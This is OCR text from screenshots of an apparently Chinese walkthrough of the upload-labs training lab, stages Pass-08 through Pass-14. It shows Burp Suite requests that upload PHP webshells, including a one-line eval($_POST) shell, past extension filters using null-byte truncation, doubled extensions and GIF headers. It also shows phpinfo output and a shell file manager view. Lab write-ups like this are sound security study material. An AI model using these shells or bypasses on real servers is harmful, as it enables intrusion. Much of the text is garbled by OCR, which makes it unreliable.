€ (0 1021681 AP ja{word-wrap: break-word, Jadink, anisited { color: #e06228, color: #404042 5 # el @ Q %A ¥ & @ s - &~ B &~ 9 0|~
@ PHPzERES|
B
INT ~ = & SQLBASICS: UNION BASED- ERROR/DOUBLE QUERY- TOOLS: WAF BYPASS: ENCODING HTML- ENCRYPTION- OTHER™ XSS- LFI-
@ Load URL | hitp://192.168.10.1 pload/upload yiul he|

% Split URL

») Execute

[[] Postdata [ Referrer 4 OxHEX 3B &% %URL ¥ &% Replace All 3 3

.
ETCREFT - Senvices+ | [No information availablel]

File (php.ini)
Path

PHP Version 5.3.29
System Windows NT EXPLOIT7 5.2 build 3790 (Windows Server 2003 Enterprise Edition
Service Pack 2) i586
Build Date Aug 15 2014 19:15:47
Compiler MSVCY (Wisual C++ 2008)
Architecture %86
Configure cscript /nolago configurejs *--enable-snapshot-build” “—disable-isapi* *--enable-
Command debug-pack” "--without-mssql" "--without-pdo-mssql* "--without-pi3web" "--with-
pdo-oci=CA\php-sdiioracle\instantelient10\sdk, shared" *—-with-oci8=C:\php-
dk i i \sdk shared" *--with-0c8-11g=C\php-sdk |
Jient11\sdk,shared" *--enable-obj dir=./objf" *--enable-
- —ith . bl ;e lyze"
P! y.
Server API Apache 2.0 Handler
Virtual Directory [enabled
Support
Configuration CAWINDOWS

Loaded
Configuration
File

C\phpStudy\php53\php.ini

Scan this dir for

|7 € M < DI
Pass09 2 4z H.06 0F -

REPRAT 5 Seid SR 2L .

Windows R4, MR _ A& 344 Ftest.php: : SDATASTE R 55 28 L4 B —Mest.php B30, HA R EMBT L& SR

A, BT

d-labs - Mozilla Fir...

Burp Project Intruder Repeater Window Help

(nane)

=SDATAZ: it

Burp Suite Community Edition v2020.9.1 - Temporary Project

(o s s ez R 2o s Lceroparara Isorsa miscuwmaenadlossrasens

Tools

Cancel

Send

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

Actions v

Pretty \n

[POST /upload-Labs/W/Pass-08/index. php HTTP/1.1
Host: 152.168.130.3

User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rvi68.0) Gecko/20100101 Firefox/68.0

Accept -Language: en-US, enig=0.5

1
4 Accept: text/htnl, application/xhtnl+xnl, application/xnl;
6 Accept-Encoding: gzip, deflate

\n Actions v

Raw Render

—Aecode>
webshell
<fcodex
ELEL N

</p>

F0.9.4/4;0=0.5




Referer: httpi//192,168,130.3/upload-Labs/Wh/Pass-08/index  php 56 </li>

Content -Type: multipart/forn-data; 57 <li>

boundary: -- -53375266763344531 71837729363 s8 <h3>

Content -Length: 389 LR

Connection: close </h3>

Upgrade- Insecure-Requests: 1 £l <form enctype="nultipart /forn-data” method="post " onsubmit="return checkFil

.- 1 WL E LR © <>
Content -Dispesition: forn-data; nane="upload_file"; filenant’yijuhuamma

B <input class="input_file" type="file" nane="upload_file"/>
Content -Type: application/octet-strean 62 <input class="button® type="subnit" name="submit" value=" £f"/>
63 </forn>
<7php 64 <divid=nsg">
phpine(); 65 </dive
e i idmings
&7 <ing sre=". . fupload/202009272055093502 . php: ‘sdataiuld‘!h:"QSnpx" /-
</dive
--53575268753344531 71857729363 68 <i>
Content -Disposition: forn-data; nane="submit" S </ols
70 </divs
= 7
53375268763344551 71837729365 - 72 </dive
73 <divid="footer">
74 <centers
Copyrightsnbsp; @nbsp: <span id="copyright tine’></span>
&nbsp; bySinbsp; <a href="http://qu7.ne" target="_bank">cOnyl</a>
</center>
7 </dive
7 <div class="nask">
. sédive Li
v AN J T
0% [€5) F omatches | D3 (€] (3] [seren omatches
Done 4,310 bytes | 6 millis

I —‘*GU‘v | v phpstudy_pro v MY + upload-labs = Wi v upload > & [ #% wiow

N - mAREG v BT - FETEE
S s EHF ~ | tzmmmsn | 2o

o TE || 20200827205509350Z. php 202049727 20:55 FHF 371 1 ¥B
= ]
| BiFRIIEE

4 BR

18 A,
&, wiREE o

CD 3Ezfa (M:) Vir

L FEODE E)

Ny

i o3t

1 fat%

e . 20
e B g e P

PHP7.3.4 - phpinfo() - Mozilla Firefox
PHP 7.3.4 - phpinfo()
&« C @
Kali Linux - Kali Training ~ Kali To iForums  NetHunter | Offe oit-DB = GHDB || MSFU

System Windows NT WIN-VDGHAFVL9QB 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service
Pack 1) AMD64

Build Date Apr2 2019 21:50:57

Compiler MSVC15 (Visual C++2017)

Architecture x64

Configure Command cscript Jnologo configure js *—enable-snapshot-build™ ~enable-debug-pack” *~disable-zts" "~with-

php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,shared" "~wit
hp-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,shared" "~enable-object-
Jobj" *~enable-com-dotnet-shared" "—without-analyzer” *~with-pgo”

Server APl CGl/FastCGI

Virtual Directory Support disabled

Configuration File (php.ini) Path C:\Windows

Loaded Configuration File o i 7.3.4nts\phj
Scan this dir for additional .ini files {none)

Additional .ini files parsed (none)

PHP API 20180731

PHP Extension 20180731

Zend Extension 320180731

Zend Extension Build API320180731,NTS,VC15
PHP Extension Build API20180731,NTS,VC15
Debug Build no

Thread Safety disabled

Zend Signal Handling disabled

Zend Memory Manager enabled

Zend Multibyte Support provided by mbstring

IPV6 Support enabled

Pass10 BZBIGIF: M+ +a5d



BARIEE R ZR LR ZR, BEBRXHERENER., BilidstrcharR BRI HLARBINHELKER, HERERF
I#B’Jﬂﬂﬁ&ﬁﬁ AT R G K SR, SETUAI A php. . (R+ZRE -+ SREEE .

| € ) () 1921¢ ~ FEIP Ja{ word-wrap: break-word, Jalink, awisited { color: #e06228, color: #404042 52 e x A 3+ A s - & B &- 9 0| S~ = =
@ PHPEESEE| Burp Suite Professional v2.1.07 - Temporary Project - licensed to surferxyz o E
r 3
INT ¥ = & SQLBASICS- UNION BAY/| Burp Project Intruder Repeater Window Help
@ Lload URL [ http://192.168.10.128:8000/upl [nasnnmm Target | Provy | ntruder | Repeater Tsaquanter Decoder | Comparer | Extender | Project options Iugernmms} =
Split URL
i s T8 = [9x [10x]11x[12=]13x[14= ©
Execute
[F] Post data  [] Referrer 4l | send cancel < v > v Target: RtpJi92.168.10.128:8000 @ )
L
BerergFT - services- | [Noinformation ava | Roguest Tegos
& L El | E Raw | Params | Headers | Hex Raw | Headers | Hex | HTUL | Render
ploed-lo A D e .
Hose: 152.1£8.10.178:8000 P href="/upload/Pass-15/index.php’>Pass-18</a></1i>
User-Agent: Mozilla/S.0 (Windews NT &.1; WOWEd:; rv:47.0) Geelo/20100101 <lir<a id="Pass-20"
Firefox/47.0 href="/upload/Pass-20/index. php">Pass-20</a></Lix
Accept: text/html,application/shtnltznl, appl xml;q=0.5,%/*;q=0.8 <lir<a id="Pass-2l" href="/upload/Pass-21/index.php">Pass-21</a></1i>
Aecept-Language: =h-Cl, zh;q=0.8,en-US;q=0. &, en;q=0.3 <ful>
Accept-Encoding: gzip, deflate <rdiv>
: heep://192.168.10.178:8000/upload/Pass-09/index. php <div id="upload pansl®s
1>
I zxzry Fanusl 1108YD L0 £pdTa <1i>
<h3+00¢/h3>
Forwarded-For: 08.8.8.8 <p>0000<c odeswebshell</code>00000</p>
Connection: elose <riix
Content-Type: multipart/form-data; <1i>
v 7486226721635 <h3+000%/03>
Content-Length: 338 <form enctype="multipart/form-data’ method="post® onsubmit="rsturn
checkFile() ">
_______ <p>00000000OD<p>
Content-Dispesition: form-data; name="upload_file"; filen: <input elass="input_file" type="file" name="upload file"/»
Content-Type: spplication/octet-stresm <input class='button’ type='submit’ name="submit® valus='D0"/»
</form>
<2php <div id="nmsg">
</div>
phpinfo i) <div id="im
<ing sre: idth="250px" /> </div>
2> </li>
—_— --74862267216638 </o1>
Content-Dispesition: form-data; name="submit" <rdive
ooo </fdiv>
,,,,,,,,,,,,,,,,,,,,,, 74862267216635— <div id="footer's
<center>Copyrighténbap; Gnbsp; <span
id="copyright time"s</span>&nbsp by&nbsp; <a href="http://gv7.me"
£1F 192.168.10.128... - targer="_bhank">cOnyl</a></center>
-
- - - - /!

[ ZH FEEO ZEZN REG) $EE) 120 =mE

phpinfo()
1021681  FHIP Ja { word-wrap: break-word, Jalink, anisited { color: #e06228, color: #404042 (2 & me @ Q %A ¥ & @ s - & B &~ 9 |- - - =
@ PHPzERES|
r 3
INT ~ = & SQLBASICS: UNION BASED- ERROR/DOUBLE QUERY- TOOLS: WAF BYPASS: ENCODING HTML- ENCRYPTION- OTHER™ XSS- LFI-
& Load URL [ hitp;//192.168.10.128:8000/upload/upload/11.phg| =
% Split URL o
Execute
B [[J Post data [7] Referrer 4 O:xHEX 3B @K 3%URL 3B 4 BASEGY 3B Replace All 3 3 o
METCREFT - Services- | [No information available]
o
System Windows NT EXPLOIT7 5.2 build 3790 (Windows Server 2003 Enterprise Edition
Service Pack 2) i586
Build Date Aug 15 2014 19:15:47
Compiler MSVC9 (Visual C++ 2008)
Architecture x86
Configure cscript fnologo configures *--enable-snapshot-build® *--disable-isapi® *--enable-
Command debug-pack” "--without-mssql" *--without-pdo-mssql" *--without-pi3web" "--with-
pdo-oci=C:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8=C:\php-
sdk\oracle\instantcienti0\sdk shared mhma 11g=Ch\php-sdkioracle
lient11\sdk, 'ulred' *--enabl obj/" *--enable-
o i *—-disabl I
VP ¥
Server API Apache 2.0 Handler
Virtual Directory | enabled
Support
Configuration | CAWINDOWS
File (php.ini)
Path
Loaded C:AphpStudy\php53\php.ini
Configuration
File
Scan this dir for | (none) =

Pass11 B2 BIF: W55



TS Fstr_ireplace BT & A B PR ERBRTBHAZ. FrUWLNE S,
M JE Z BN . pphphp”
]

Mozilla Fir...

Burp Suite Community Edition v2020.91 - Temporary Project

Burp Project Intruder Repeater Window Help

[Dashboard | Target | ¢ intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options

Training  Kali Tools

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

o D CE [

1 POST /upload-1abs /Win/Pass-10/ index. php7action=show_code HITP/1.1 </codes

jost: 192.168.130.3 HEAE
User-Agent : Mozilla/s.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 <rp=

4 Accept: taxt/htnl, application/xhtnl+xnl, application/xnl;g=0.9,4/4;q=0.8 </li=
Accept -Language: en-US, en;a=0.5 <li=

& Accapt-Encoding: azip, deflate : <h3s

7 Referer: http: //192,168,130.3/upload-Labs/WAN/Pass-10/index  php7act ion=show_code LR

5 Content -Type: multipart/forn-data; <rhs>
boundary=---- ---1525037045141 62834591 46733223 9 <forn enct ype="
Content-Length: 381 >

0 Connection: close ERE LEEN <>
Upgrade - Insecure-Requests: 1 5 <input elass="input_file" type="file" nane="upload file"/>

2 <input class="button" type="subnit" name="subnit" value="Ef§"/~

- --15250370481 4162834591 46733223 5 </forn>

4 Content-Disposition: forn-data; nane="upload_file"; f)lename 4 <divid="nsg"~
Content -Type: application/x-php 5 <sdiv>
56 <divid="ing'>
& phpinfo();
-

</div>

ultipart/forn-data” nethod="post">

250px" />

show_code">

.- 15250370451 4162834591 46733223
Content -Dispesition: forn-data; nane="submit"

Efs <code class="line-numbers Language-php>
15250570481 4162834591 46733223~ - $is_upload = false;

gnsg

if (isset(§_PosTL ‘submit'1)) {

if (file_exists(UPLOAD_PATH)] {

$deny_ext = array( “php", "phps”,

phpa”. “php3". "php2".

§File_name=trin(§_FILES[ ‘upload_file'][ name']):
§¥ile_name=str_ireplace(gdeny_ext, ", §file_nanme; .
stenn file=§ FTIEST unload file 1l ton nanc Li

.
omatches (DT3[« (2] s

Waiting for 192 5.179 bytes | 2 millis

-

0 matches

LAV R ()
- S urp Community.. & PHP 7.3.4 - phpinfo() -
PHP 7.3.4 - phpinfo() - Mezilla Firefox
PHP7.3.4 - phpinfo()
& ¢ & ) 192.168.130.3/

Kali Linux Kali Training Kali Tools # Kali Docs i Forums NetHunter ]| Offensive Security 3 GHDB || MSFU upload-labs

PHP Version 7.3.4 php

System Windows NT WIN-VDGHAFVL9QB 6.1 build 7601 {Windows Server 2008 R2 Standard Edition Service
Pack 1) AMD64

Build Date Apr2 2019 21:50:57

Compiler MSVC15 (Visual C++2017)

Architecture x64

Configure Command escript /nologo configure.js *~enable-snapshot-build" *—enable-debug-pack” *~disable-zts" "~with-
pdo-oci=c:\php-snap-build\deps_aux\oracle\x64\instantclient 12_1\sdk shared" *~with-
ocig-12c~c:\php-snap-build\deps_aux\oracle\x64\instantclient_12_1\sdk,sharet nable-object-

outdir=../obj/" "~enable-com-dotnet=shared" "—without-analyzer” "~with-pgo"
Server API CGl/FastcGl

Virtual Directory Support disabled

Configuration File (php.i Cawindows

Loaded Configuration File E:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini
Scan this dir for additional .ini files. {none)

Additional .ini files parsed (none)

PHP API 20180731

PHP Extension 20180731

Zend Extension 320180731

Zend Extension Build API320180731.NTS,VC15

PHP Extension Build API20180731,NTS VC15

Debug Build no

Thread safety disabled

Zend signal Handling disabled

Zend Memory Manager enabled

Zend Multibyte Support provided by mbstring

IPV6 Support enabled

Pass12 54 S5 iE: GETZ! Y002

EEARNFERTALE, ERXEE NS _GET['save_path|HgetkitiE S E HEMN L5 %4
$img_path=" BT sque ath].” /”.rand(10,99).date(’Y mdHis”).”.” . file_ext;

FATHT LA %008 i Sk e it

FEurlH %00K RasclliS H #I0 , TasciiFOfE MR IR 7R R B, RRTRBER, FrLh Zur HEL%00M Bl & I NI E 45



{BRE IR
phpii A BE/NF5.3.4, 534K EEZREE %NS
magic_quotes_gpci& E NOFFIRZ

array/(

substr

(=]

save_path (RIFERESHITIE, GetZE, EHE %00 EWr, HiEfFApacheZ W BIE R G &K %00MEL—IK, BTN T =ZT,
N —BREZRENEREEUEZ TR, SFHEHMEERREER T, FEik$img_path=.../upload/getshell12.php

Raw | Params | Headers m

Raw | Headers mHTML Render

Host: 172.16.12.1
User-Agent Mozilla/s
hecept: text/hinl, application/
Accept-Language’ zh-Cll, zh:
w1

Referer: hitp://172.16,
Caokie: ECS[visit_timesl=l

I-Formarded-For: §.5.6.8

Connection’ close

Content-Type: multipart/forn-data; boundarys=—-——m=====-==———
Content-Langth: 331

POST /upload/Pass-12/index php?save_patht. . /upload/getshelLlZ phpd00. jpe [HTTP/1. 1

ivefor/17.0

&

/upload/Pass-12/index. phy

857181
Content=Dizposition: forn-data; n.
Content-Type: imags/ipee

GIF89a
Pphp GEVAL (§_POST[ abe’ ]
—— - 3008719100202
Content-Disposition: form-data: name="submit

0957191

N
S

Ai>%a 1d="Fass-15" href="/upload/Fasc-15/index. php” P ass—15¢/a>/11>

Lirda hr ‘upload/Pass-16/index. php P ass—16</ 2>/ 11>
Liva href=fupload/Pasa=17/index. php” Fass=17</2>/11>
<Lira href="/upload/Pass-15/index. phy” P ass—1B6</a></1i >
Lixa 9" href="fupload/Pass-10/index. php’ Pass=18¢/a /13>
Liva 0" href="fuplosd/Pass20/index. phy’ Pass—204/a4/11 7
<Li><a id="Pass~21" href="/upload/Fass-21/index. php"*Pass—21</a>/1i>

1>
fdivd

<div id="upload_panel”?

l>
ai»
W3ESH</N>
Q> LAli— eodeowebshell feode FRS R . Up>
iy

Li>
@3> AR /ns>
{forn action="7save path=../upload/” enctype="multipart/forn-data” method="post">
<p R LA . @
{input class="input_file” typs="file” nans="upload file"/>

Ginput class="button” type=-sdbmit” nemes-submit values L 17/>
< form>
v 1d="msg">
<Jdiv>
div id="img’
Gog ' PE/T220210L19205731. jpg” | wi dth="250px" /> Yoo
<U1i>
ol>
<fdiv>
<fdiv>

v ia="fonter”>
“center Copyri ghidnbsp: @nbsp; (span id="copyright_tine’ >/ spanEnbsp  bybnbep: <o href="hitp: //evi. ne
target="_baul’ yeOnyl /a><fcenter )
Yiv>
Chiv elass="madk >/ div>
Aiv class="dislog"

Wiv class="dislogtitle">$ifmbap; e href="javaseriptiveid(0)” elass™ close” title="Ji/H] D3P div>
Cliv elass="dialogcontent >¢/div>
Ldiv>

Srody>
Cscript types”text/jsvascript’ sros’fuplosd/is/ jquery. min js"3</script)

Cocript type=”text/javaseript’ sres[uplosd/je/priem. j2" >/ zeript

Coeript type=”text/javaseript ‘wpload/3e/pri - Ling-munbers. nin. j° >/ ceript>
<aeript type="text/javaseript” sre="fupload/js/prismphy. min js" >4/ zeript>

Coeript type=”taxt/javaseript’ sresfuplosd/is/index. j2° >/ zeript

<htal>




HESTES:

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

FOST /uplosd/Pass-12/ index. php?eave paths
Host: 1721612 144:8000

User-Agent: Mozilla/5.0 Oindows IT 6.1: NOWG
Accept
Accept-Language
w1

Referer: http //172.16.12.1
Cookie: BCS[visit_tines]=1
X-Forwarded-For: 5.8.8.8
Comection® close
Content-Type: multipart/forn-data: boundery=
Content-Langth: 331

--3095719109202
Content-Disposition: form-data; nams="upload_fila”
Content-Type: imsge/jpee

IFS%a
<7php GEVAL (5_POSTL' abe’ 1):7>
- 3005719109202
Content-Disposition: form-data; name=’submit”

3095719109202~

8000/upload/Pass=12/index. php

JupLoad/getehel L1Z phot00. jpg HITP/T 1

0) Gecles/20L00L0L Firefox/17.0

text/htnl, application/xhtnltxnl, application/xnL; g=0. 9, #/¥; =0,
ZheCT], 2h: q=0. 8, en-US: 470, 5, en: g=0. 3

-

" /uplosd/Pass-15/ index. phy  Pass—15C/2>/Li>
“/upload/Pass-16/ index. phy " Pass=16¢/ar</Li>

Pass=17</ 2> /11>
phy"Pass— 18/ axLi>
“/upload/Pass=19/ index. phy " Pass=19¢/a>/Li>
<Li>a id="Pass20" href="/upload/Pass-20/ index. php" Pass—20/a>/1i >

Li>da id="Pas=15"

O |@mes iz N
(ST

172,16, 12,141
8wl

308571910829 BR @D, XG0
bea

£ilenane="heha jpe” ConfigNsi

Dot ol GX¥Eegs
2 pubbs.2.0_saL
 metpw

2 Sy=ten Volme Tnformation
& Twmeat 7.0

£
bea

Config Nsi

(2 Documents and Settings

Tvbbsd. 2. 0_SAL
Inetpub

ngin-1.3.5

pheStudy
2 rrepn Tiles

2 Repositories
Serv1l

=0ft

3 System Volwne Infornation

Tomcat 7.0
Todls
[=EES

> =B X
v | AL B9 zoz1-01-19 BEITE
FE el Bt L
2015-12-24 10:34:22 0 arrr
oneo-10-24 1515222 O orrr
2013-12-18 13:40:01 O orrt AR
2013-10-28 16:58:01 0O arrr
2D15-12-18 1814028 O orrr -
0151218 152121 O orrt
2015-12-18 13:47:10 O T
2020-10-24 15513 0 osss
20131218 13:28:25 0 orrt
2011-02-18 21:23:02 O T
2015-11-10 11:26:58 0O arTT o Y
2020-12-23 23:37:01 0 arrr
2D15-11-10 11:38:3 0 orrr
201102168 18:41:08 0 orrt
iE-ieds 1345050 orre bep:bybnbsp: <a href="http://gvi me”
2020-01-0¢ 10:15:12 O orrr
20130423 13:1T:23 0 orrt
2020-12-23 23:41:05 O T
0080117 032833 O orrr “close” title=" % DRIIY O div>
20110218 19:30:48 O orrt .
GB2312

Pass13 [ 4 HIGUF : POSTZ! Y00 Wi

GETMPOSTIX HI7E T ,GETR A AIEurl B sh 3685, (HRPOSTAL, Brbhf B — i TBek.

Request

Raw | Params | Headers | Hex

eeript type=text/javaseript’ sre=/upload/js/priem js 0/ seripty
“text/ javascript” sre="/upload/ js/prisn-line-mmbers. min js">(/script>

“text/javascript” sre="/upload/s/prisnphp. min js">¢/script>

Cscript type="text/javascript” sre="/upload/js/index. js">¢/seript>

</htnl?

-

Response

Raw | Headers | Hex | HTML | Render

FOST Jupload/Fass~13/index. php HITE/L. 1
Host: 172,16, 12, 111:8000
User-Agent: Mozilla/5.0 Ofindows NT 6.1; WONS1; rv.

7.0) Gecko/20L00L01 Firefox/!7.0

Accept: text/hinl, spplication/shtnlbsnl, sppli cation/xnl; g=0.9, #/%; o=0.8

Accept-Language
o 1

Referer: http //172.16.12.1
Cookie: BCS[visit_tines]=!
X-Forwarded-For §.8.8.8
Commection’ close
Content-Type! multipart/forn-data; boundary=
Content-Lemgth’ 162

5116190491 4681

Content-Disposition: forn-data; nams="save_path’

fupload/getshellid php . jpe

100191681
Content-Disposition: form-data; name="upload file"
Content-Type: inage/jpeg

116190191 4681 —

2h~CN, zh; q=0. 8, en-US: q=0.5, en; ¢=0.3

8000/upload/Pass-13/ index. php

Filenane="haha. jpe”

arch term

0 matches

AirGa
Qira 7
i
Qira i

/upload/Fass=16/ index. php”Pass—16</2)</11
Fupload/Pass=17/index. php”*Pass—174/a34/1i >
" href="/upload/Pass~18/index. php”Pass=1BY/a>U1i)
upload/Pass-19/ index. php” Pass—194/234/1i>
‘ass20" href="/upload/Pass=20/index. php”Pass-20¢/a>/1i)
* href="/upload/Pass-21/index. php"Pass=214/a>¢/1i >

-

Qira id="Pass21
1>
faivd
<div id="upload panel”>
ol

iy

DI L3>

<@ bt <code webshel1</code F M #. />
Ui>

air

@3> LAER <Y13>

<form enctype="nultipart/form-data” method="post”>
<o IR LA @
Cinput type="hidden’ name="save path” valu
<input class="input_file” type="file”
Ginput clas type="subnit” nem

</ forn >

iv idnsg’>

=" fupload/ />
wpload_file’/>
“ value=" LAE"/>

Yaivr
Adiv id="img">
<ing m:T Juplosd/getshelll3 phyp . jpe/3420210119211234. jpe” *1&(}\:"25017)(" »

aivr

Aix
NES
faivd

Ydivdy
i id="Fontar™>
<center’Copyrighténbsp:@&nbsp: <span id="capyright_tine”5</span’8mbsp:bydmbsp: <= href="http //gvT me”
target="_bank De0nyl /o> center -
Ydiv>
i class="mask"></div>
<@iv class="dialog”>
<div class="dialogtitle">ilmbsp:
<div elass="dialog- content >/ div>
Ydivy

<o href="javascript:void 0)” class="close” title=" /"3t H </ o>/ div>

foody>
<script type="text/javascript” sre="/upload/is/jmery min js">{/seript?
sre="fupload/je/prizn o> seript>

" sre="/upload/js/prisn-lins-nunbers. min js">¢ script?
" sre="fupload/js/prismphy min s > seript>
sre="fupload/ s/ index js")seript>

b
i

|SERIST IR

e

5

2 |[s|[=][=||mreasearchterm

0 matches

4,151 pytes | 8 millis



STV ER

Raw | Params | Headers | Hex Raw | Headers | Hex | HTHL | Render
FOST /upload/Fass-13/index. phy KTTE/1 1 0 i >a 18 Fase-16” hwaf= /upload/Fase16/index php Fase-16</a/11)
Host: 17216121 <Liva id="Pass1T" href="/upload/Pass—17/index. php”Pass-174/a>4/1i
Usar-Agent: Wozilla/5.0 (indows T 6,15 WOUE4; rv 470 Li>a id="Fass-18” hwsf="/upload/Fass=18/index. php” Fass=18</a/11 >
hooept: text/btal, spplication/shtnltanl, apylication/crli <Liva id="Pass19” href="/upload/Pass—18/index. php” Pass—18</a>4/1i
hecept-Language: zheCl, zhi 0.5, en-US: 970, 5, omi 470, 3 ) Para-on” st o ) 7
B
%
Referer: http://172.16.12.144:8000/upload/Pass-13/index. php O 172.16.12. 144
Cookia: ECS[visit_times]sl cic v
I-Forwarded-For: 5.8.6.8 : R
Connection: close 172.16.12. 144 BR @1),37# 60 E=2 Atiel N B
Content-Typs: miltipsrt/forn-dats; boundery 511619001 %681 =R | 2 bea NGHEE (DS O oo
Content-Length: 462 =
= etin & Cantictsi 0201024 155222 0 ot
- 5416190:914601 () Docunents and Settings 3 Docunents snd Settings 2013-12-18 13:40:00 0 o L=
Content-Disposition: form-dsta; aane="sare_path
N a4 * ) DvbbsB. 2.0_SAL ) Dvkbes.2.0_50L 2013-10-28 16:58:0L 0 o777
Fuplosd/getshelli3. phy . jpe () iy €3 Tnetpud 21512715 154028 0 ornt
- 5116190111651 & neire-1.35
Content-Disposition: forn-data; nume="upload £ile"; filenane="haha. jpg ) phoStady S nein 135 DD fEk O QA7
Content-Type: imags/ipee (£ Progran Files & sheStaty 2015-12-18 13:47:10 0 ort
J— g radnind. 2 & Progran Fies 2020-10-24 155138 0 0555
592 RECICLER
<Pphp GEVAL($_EOSTL abe’1) 7> & Kepori cories © radnizs. 2 251215 132525 0 ot
& Servy & ReccLIR 2011-02-16 212302 0 ort
@ ot €2 Reposi torics 015110 11z o ot
5 Systen Volune Information
& Tools & ot 201511710 113835 0 ot
= ¥ebioo © Systen Velune Infornation 2011-02-16 18:4L:08 0 ornt
& Todls 2020-01-04 1001512 0 ot
& vurst cbydnbep Co href="hitp: /T, ne
& romabi 3 webi0n 2013-00-23 13:17:23 0 ort
= & womms 2020-12-23 £3:41:05 0 or1
@t
& wimnail 2008-01-17 03:25:33 0 ot
& et 2011-02-16 18:30:48 0 ort oo titles" K S b
Ceript type=text/javasoript” sve="/uplosd/ja/jquery min js* >/ seript>
{script type="text/javascript” sre="/upload/js/prism. js">/script>
Ceript type=text/javasoript” sve="fuplosd/js/prisn-line-nunbers. min j5*>/seript>
{seript types"text/javascript” src="/uplosd/js/prisn—php. nin js">script?
Cocript type=text/javascript” sre="/upload/ je/index. jo" X/ script>
Unadr
v
chtem 0 matches m

GUEEER

Done

Apassi EEIRAEF L2

BUEERP

45 1




fE— R ARG H N E—

Request

17: GIF89a

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex [ HTML | Render

FOST /uplosd/Fass1 4/ index. phy AITE/L 1 0
Hest: 172.16.12. 1 r
User-Agent: Mozilla/5.0 (findows NT 6.1; WONGH: rv:4r.0) Gecko/20100101 Firefox/47.0
Acospt: text/hind, application/xhtnLtenl, spplicationfxnl; g=0.9, #/%;3=0.8
Becept-Language’ zh-Cl, zh: =0, 5, en-l5: g=0.5, en; 0.3
1
Refarer: http://172. 16 4:0000/upLoad/Pass-1#/index. php
Cockie: BES[visit_tines]s!
X-Forwsrded-For: 8.8.0.0
Connection: close
Content=Type: multipart/forn-data; boundary=—
Content-Length: 335
= 0
Content-Dispasition: forn-date: nane="usload_file": filename="getshell phol
Content-Type: image/jpeg
/AL ($_POST[ abe’ 1):7>
3548103832570
Content-Disposition: forn-data; name="cubnit”
354810383257
k
L
2|[=][+][=]rreasesrcntem 0 matches

Done

MRS, 3T T itk

http://172.16.12.144:8000/upload/Pass-14/index.php?file=..

Request

Raw | Params | Headers | Hex

" /uplosd/Pass=18/index. phy Fass—18¢/a7</Li7

as=-19" href="/upload/Pass=19/index. php”>Pass=19¢/>/1i>

" href="/upload/Pass=20/ index. php” Pass—20</23</11>

i>Ca id="Pas=-21" href="/upload/Fass-21/index. php”*Pass-21 /215>
<fuly

Sdiv>

iv id="wpload panel”>
>

i
AR 13>
<p>L1‘<wd=>NH b/ code BB B />
<p>l l'm JJ A B 5KFW/:‘(J*L'E«‘ia‘.Z‘n‘Kmof %J %4/ c0deBk Goode rwebshell </cade 108, </p>
<072 4lfflCa href="/upload/include php” target: SPGB TR AU . </p>
<p23. B S <code>. jpgd/oode?, <coded. yns</cwde> <ooder. g £4/coded AN LR LA MDA B ik
415>

>
3> bR U1s>
“multipart/ forn-data” method="post” >
L EAEBE: G
"input_£ile”

<Eorn enctype=
@ik
Gaput clas type="£ile"
CGinput elass="button” type="submit” name="submit”

«/Eorm>

<Ay id="neg”>

name="uplosd_£ile"/>
walue=" [4£"/>

Yaiv>
<div id="ing">
Ging sre=l.. [uploadl 1 i widthe"250ps" /2 Yiv>
1>
fal>
aivr
aivr

<iv id="Footer™>
<eenter Copyright nbsp: @8nbsp: span id="copyright_tine”)/spu)bnbsp: bybnbsp: <a href="Titp://gvi.ne”
target="_bank">cOnyl /8> center>
faiv>

mask" >4/ div>
dialog™

<iv class

<div class

Wiv class="dialogtitle >Hi8nbsp: 7 (s href= javaseriptiveid(0)” class="closs”
Cliv elass="dialog-content ™ >¢/div)
Yaiv>

title=" DR Y DU div>

=" fupload/ js/ jauery. min js">/script>
Fupload/je/priem jo" > seript>

‘#upload/ js/prisn-line-mumbers min js*>¢/soript>
Fupload/ jo/pri sm-php min jo" > seript>
sre="fupload/ s/ index j5">{/seript>

‘text/javaseript”

Bx-0¢m

o

*

2 m + u Type a search term

Jupload/4620210119213721.gif

Response

Raw | Headers | Hex | HTWL | Render

0 matches

4,474 bytes | 11 millis

FOST /uplosd/Pas=-1
Host: 1 2 1448000

User-Agent: Mozilla/ 0 Ofindows IT 6.1: WONG!: rv:i7.0) Gecke/20100101 Firefox/:1.0
Accept: text/htnl, application/zhtnltxnl, application/xnl:a=0.9,4/+: =0 §
Acespt-Language: zheCll, zhi =0. 8, en-lS: 0. 5, eni 920, 3

o i

Referer: htp://172.16. 12
Cookie: ECS[visit_times
I-Forwarded-For: 5.6.5.5
Comnection: close

index. phy HITP/11

1:8000/upl 0ad/Pass~11/index. php

o3

upload/Pass-16/index.php”Pass—182>(/1i -
‘upload/Pass~19/index. php " Fass—19</ a7 (/11
bref="fupload/Pas==20/index. php”>Pass=20</a>/1i >
<Lirda 14="Pass21" Tref="/upload/Pass—21/index. php”Pass—214/a>4/1i>
>

Ydiv>

Wiv id="uplosd panel”>
<eL>

Content-Typs.
Content-Length: 335

35151035

Content-Disposition: form-data: name=
Content-Type: inage/jpeg

GIFS%a
“<7pkp GEVAL (§_POST[ sbe’ 107>
- 3t

Content-Dizpozition: Form-dats; nam

i
mltipart/forn-data; boundary= 4810383257
(17216, 12. 144 + > =08x
o v wEm 22019 AT i geoneoftin. o>
‘wpload file”; filenane="getshell php” BT e, e £# Fi Kb B B T B 8 s
uﬁ!’,LU A it Kt <S>
Eibea 015-12-24 10:34:22 O ot
Contig Msi 2020-10-24 15:52:22 D o7iT
et o) B Documents snd Sattings 2013-12-18 13:40:01 0 077 s 2eE

L Dokbst. 2.0 AL 2013-10-28 18:58:01 0 ot
Insipub 2015-12-18 15:40:28 0 T
S neine1 35 015-12-18 15:77:21 0 ot
phrStudy 2015-12-18 13:47:40 O o7iT
Progran Files 2020-10-24 18:51:36 0 =3

radnind. 2 2013-12-18 13:28:25 0 ot Vi
